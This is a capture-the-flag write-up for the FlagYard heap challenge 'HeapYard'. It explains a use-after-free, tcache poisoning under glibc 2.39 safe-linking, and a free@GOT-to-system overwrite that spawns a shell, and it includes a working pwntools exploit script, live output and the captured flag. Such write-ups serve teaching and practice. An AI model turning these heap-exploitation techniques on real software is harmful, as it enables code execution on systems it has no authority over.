HeapYard
Author: 0xIDA
Platform: FlagYard · Category: pwn · Difficulty: Medium
Solvers
Summary
Note-style heap menu (malloc 0x10 × 4 slots) with UAF: free does not null the pointer. Tcache poison (glibc 2.39 safe-linking) allocates over the global ptr[] array, hijacks slots to free@GOT, leaks libc, overwrites free with system, then free("/bin/sh").
Challenge Description
you need to write everywhere
Handout: heap_yard (No PIE, Partial RELRO, Canary, NX) + libc.so.6 (Ubuntu GLIBC 2.39).
Reconnaissance
checksec: Partial RELRO | Canary | NX | No PIE
menu: alloc / write 0x10 / read 0x10 / free
global ptr[4] @ 0x4040a0
malloc size fixed 0x10 (tcache 0x20)
index bounds 0..3
free(ptr[i]) without ptr[i]=NULL → UAF + dangling slots
alloc requires ptr[i]==NULL → only 4 mallocs total; re-alloc uses remaining free indices
Vulnerability Analysis
- UAF: after free, read/write still work on the dangling pointer.
- Safe-linking leak: free two 0x20 chunks; read encrypted fd and recover chunk addresses by brute-forcing the page offset so
(c1>>12)^c0 == fd1. - Tcache poison: overwrite top free chunk's fd with
PROTECT(c1, 0x4040a0)so the next allocations return the real chunk then theptr[]array. - Why not free@GOT directly?
tcache_getclearse->keyate+8, which would zeroputs@GOTand crash the menu. Targetingptr@0x4040a0only zerosptr[1], which we control next. - Write
ptr[0]=ptr[1]=free@GOT, read to leak libc, writesystem+restoredputs, write/bin/shinto a heap chunk, free → shell.
Exploitation
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
libc = ELF("./libc.so.6", checksec=False)
elf = ELF("./heap_yard", checksec=False)
def protect(pos, ptr):
return (pos >> 12) ^ ptr
# p = remote("tcp.flagyard.com", PORT)
# helpers: alloc/write/read_c/free as in solve.py
alloc(0); alloc(1)
free(0); free(1)
fd1 = u64(read_c(1)[:8]); fd0 = u64(read_c(0)[:8])
for lo in range(0x1000):
c0 = (fd0 << 12) + lo
if (c0 >> 12) == fd0 and ((c0 + 0x20) >> 12) ^ c0 == fd1:
c1 = c0 + 0x20
break
write(1, p64(protect(c1, 0x4040A0)) + p64(0))
alloc(2); alloc(3) # 3 → ptr[]
write(3, p64(elf.got["free"]) * 2)
libc.address = u64(read_c(0)[:8]) - libc.sym.free
write(0, p64(libc.sym.system) + p64(libc.sym.puts))
write(2, b"/bin/sh\x00".ljust(16, b"\x00"))
free(2)
# shell
Live output:
[*] free=0x7f71b54add20
[*] libc=0x7f71b5400000 system=0x7f71b5458740
PWNED
FlagY{e3b65e7395f1d81eced6c8a4dbd0a898}
Flag
FlagY{e3b65e7395f1d81eced6c8a4dbd0a898}
Live-verified via shell on tcp.flagyard.com and accepted by Flagyard submit.
Key Takeaways
- Free-without-null is enough for full tcache poison even with only four slots if two indices stay free for the reallocs.
- On glibc ≥2.32, recover safe-linked heap pointers by reconciling two fd values with a 12-bit page-offset brute force.
tcache_getzeroingkeyatchunk+8is a GOT-smash footgun — prefer hijacking a writable pointer table (ptr[]) instead of landing directly onfree@GOT.- Partial RELRO + No PIE → classic
free@GOT→system.
Tools Used
- pwntools, patchelf/ld-linux for local 2.39 libc
- Flagyard MCP (start/stop/submit)
- checksec, r2
Files
- Exploit:
/root/flagyard/heapyard/solve.py - Binary/libc:
/root/flagyard/heapyard/